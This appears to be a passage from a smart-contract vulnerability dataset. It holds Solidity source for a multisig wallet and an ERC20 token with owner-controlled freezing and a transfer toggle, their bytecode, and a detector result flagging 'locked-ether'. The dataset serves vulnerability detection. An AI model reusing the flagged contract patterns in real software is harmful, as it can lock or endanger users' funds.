RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3a565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5a565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d89565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1b565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611020565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b5061041660048036038101908080359060200190929190505050611105565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111d0565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112c5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611353565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114c4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be611701565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff60048036038101908080359060200190929190505050611707565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117c1565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061199e565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119bd565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119c2565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c8565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cdd565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b91906120fe565b506003805490506004541115610b4a57610b49600380549050611707565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610c8657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1457838015610dc8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610dfb5750828015610dfa575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e07576001820191505b8080600101915050610d91565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5557600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610eaf57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610ed657600080fd5b60016003805490500160045460328211158015610ef35750818111155b8015610f00575060008114155b8015610f0d575060008214155b1515610f1857600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110fd5760016000858152602001908152602001600020600060038381548110151561105e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110dd576001820191505b6004548214156110f057600192506110fe565b808060010191505061102d565b5b5050919050565b600080600090505b6003805490508110156111ca5760016000848152602001908152602001600020600060038381548110151561113e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111bd576001820191505b808060010191505061110d565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112a85780601f1061127d576101008083540402835291602001916112a8565b820191906000526020600020905b81548152906001019060200180831161128b57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561134957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112ff575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561138a5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611436578580156113cd575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061140057508480156113ff575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114295780838381518110151561141457fe5b90602001906020020181815250506001820191505b8080600101915050611396565b8787036040519080825280602002602001820160405280156114675781602001602082028038833980820191505090505b5093508790505b868110156114b957828181518110151561148457fe5b906020019060200201518489830381518110151561149e57fe5b9060200190602002018181525050808060010191505061146e565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114fe5781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561164b5760016000868152602001908152602001600020600060038381548110151561153b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163e576003818154811015156115c257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fb57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061150a565b8160405190808252806020026020018201604052801561167a5781602001602082028038833980820191505090505b509350600090505b818110156116f957828181518110151561169857fe5b9060200190602002015184828151811015156116b057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611682565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174157600080fd5b60038054905081603282111580156117595750818111155b8015611766575060008114155b8015611773575060008214155b151561177e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199785611cdd565b5050505050565b60006119ab848484611f85565b90506119b6816117c1565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0457600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a5d57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611ab757600080fd5b600092505b600380549050831015611ba0578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611aef57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b935783600384815481101515611b4657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ba0565b8280600101935050611abc565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d3857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da357600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611dd357600080fd5b611ddc86611020565b15611f7d57600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611efa8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ef05780601f10611ec557610100808354040283529160200191611ef0565b820191906000526020600020905b815481529060010190602001808311611ed357829003601f168201915b50505050506120d7565b15611f3157857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f7c565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fae57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061206d92919061212a565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b8154818355818111156121255781836000526020600020918201910161212491906121aa565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061216b57805160ff1916838001178555612199565b82800160010185558215612199579182015b8281111561219857825182559160200191906001019061217d565b5b5090506121a691906121aa565b5090565b6121cc91905b808211156121c85760008160009055506001016121b0565b5090565b905600a165627a7a7230582068b695c7b57fd9843be9c9a12e71fce08a591fc93d713ef7aa32009a3282e85a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,595
0xa8dC0aD2D71181f4a1b572e1c5E964d845a23511
/** dev_team.gutalik */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 is owned{ using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; bool public released = true; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } function release() public onlyOwner{ require (owner == msg.sender); released = !released; } modifier onlyReleased() { require(released); _; } function _transfer(address _from, address _to, uint _value) internal onlyReleased { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from].add(balanceOf[_to]); // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public onlyReleased returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public onlyReleased returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public onlyReleased returns (bool success) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public onlyReleased returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public onlyReleased returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public onlyReleased returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } } contract CT is owned, TokenERC20 { mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public { } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal onlyReleased { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd14610221578063313ce567146102a657806342966c68146102d757806370a082311461031c57806379cc67901461037357806386d1a69f146103d85780638da5cb5b146103ef57806395d89b411461044657806396132521146104d6578063a9059cbb14610505578063b414d4b61461056a578063cae9ca51146105c5578063dd62ed3e14610670578063e724529c146106e7578063f2fde38b14610736575b600080fd5b34801561010d57600080fd5b50610116610779565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610817565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610960565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610966565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610b33565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e357600080fd5b5061030260048036038101908080359060200190929190505050610b46565b604051808215151515815260200191505060405180910390f35b34801561032857600080fd5b5061035d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb8565b6040518082815260200191505060405180910390f35b34801561037f57600080fd5b506103be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd0565b604051808215151515815260200191505060405180910390f35b3480156103e457600080fd5b506103ed610fdd565b005b3480156103fb57600080fd5b506104046110bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045257600080fd5b5061045b6110e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049b578082015181840152602081019050610480565b50505050905090810190601f1680156104c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104e257600080fd5b506104eb611182565b604051808215151515815260200191505060405180910390f35b34801561051157600080fd5b50610550600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611195565b604051808215151515815260200191505060405180910390f35b34801561057657600080fd5b506105ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c7565b604051808215151515815260200191505060405180910390f35b3480156105d157600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506111e7565b604051808215151515815260200191505060405180910390f35b34801561067c57600080fd5b506106d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611385565b6040518082815260200191505060405180910390f35b3480156106f357600080fd5b50610734600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506113aa565b005b34801561074257600080fd5b50610777600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114cf565b005b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561080f5780601f106107e45761010080835404028352916020019161080f565b820191906000526020600020905b8154815290600101906020018083116107f257829003601f168201915b505050505081565b6000600560009054906101000a900460ff16151561083457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561087057600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b6000600560009054906101000a900460ff16151561098357600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a0e57600080fd5b610a9d82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815